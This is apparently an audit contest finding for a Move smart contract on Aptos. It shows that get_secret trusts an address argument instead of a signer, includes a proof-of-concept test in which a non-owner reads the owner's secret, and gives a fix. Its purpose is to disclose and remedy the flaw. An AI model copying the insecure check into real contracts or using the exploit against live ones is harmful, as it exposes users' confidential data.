Secret Vault on Aptos

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

Insecure Access Control in "get_secret" Function

Introduction

This report documents the security analysis of the Secret Vault smart contract, developed in Move. During testing, a vulnerability was identified in the get_secret function, allowing any user to read the owner's secret without proper authentication. Below, we detail the vulnerability, its impact, the exploit developed, and the suggested fix to ensure the vault's confidentiality.


Test results before exploit

[ PASS ] 0x234::vault::test_secret_vault
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Vulnerability Description

The function get_secret relies on a parameter of type address to verify authorization:

#[view]
public fun get_secret(caller: address): String acquires Vault {
assert!(caller == @owner, NOT_OWNER);
let vault = borrow_global<Vault>(@owner);
vault.secret
}

Why it is insecure:

  • The function does not require a &signer.

  • Any account can forge the @owner address when calling the function.

  • This allows any user to read the secret, bypassing ownership restrictions.


Technical Details

  • In Move, you only get authentication guarantees when the function receives a &signer.

  • Here, get_secret only receives an address value, so there is no binding between the actual caller and the address passed.

  • The assertion assert!(caller == @owner, ...) only checks value equality, which is trivially bypassed by a malicious user.

  • Authentication by value is insecure — only &signer can enforce true authorization.


Exploit (Proof of Concept)

#[test(owner = @0xcc, user = @0x123)]
fun exploit_get_secret(owner: &signer, user: &signer) acquires Vault {
use aptos_framework::account;
use std::string;
// Create test accounts
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(user));
// Owner stores the secret
let secret = b"i-want-see-secret";
set_secret(owner, secret);
// Now the user (non-owner) can read the secret by passing the owner's address
let leaked = get_secret(@0xcc);
// Assert that the secret leaked
assert!(leaked == string::utf8(secret), 999);
}

Exploit Test Run

[ PASS ] 0x234::vault::exploit_get_secret
[ PASS ] 0x234::vault::test_secret_vault
Test result: OK. Total tests: 2; passed: 2; failed: 0
{
"Result": "Success"
}

This confirms that a non-owner can read the secret from the vault.


Suggested Fix

Change get_secret to authenticate with &signer:

#[view]
public fun get_secret(caller: &signer): String acquires Vault {
let addr = signer::address_of(caller);
assert!(addr == @owner, NOT_OWNER);
let vault = borrow_global<Vault>(addr);
vault.secret
}
  • Only the real signer (the transaction sender) can access the secret.

  • Prevents non-owners from bypassing authentication.


Recommended Mitigation

- #[view]
- public fun get_secret(caller: address): String acquires Vault { ... }
+ #[view]
+ public fun get_secret(caller: &signer): String acquires Vault {
+ let addr = signer::address_of(caller);
+ assert!(addr == @owner, NOT_OWNER);
+ let vault = borrow_global<Vault>(addr);
+ vault.secret
+ }

Impact & Conclusion

  • Impact: The owner’s secret can be read by any user, breaking confidentiality.

  • Correction: Authenticate using &signer instead of address in get_secret.

  • PoC provided: exploit_get_secret proves the vulnerability.

Updates

Lead Judging Commences

bube Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.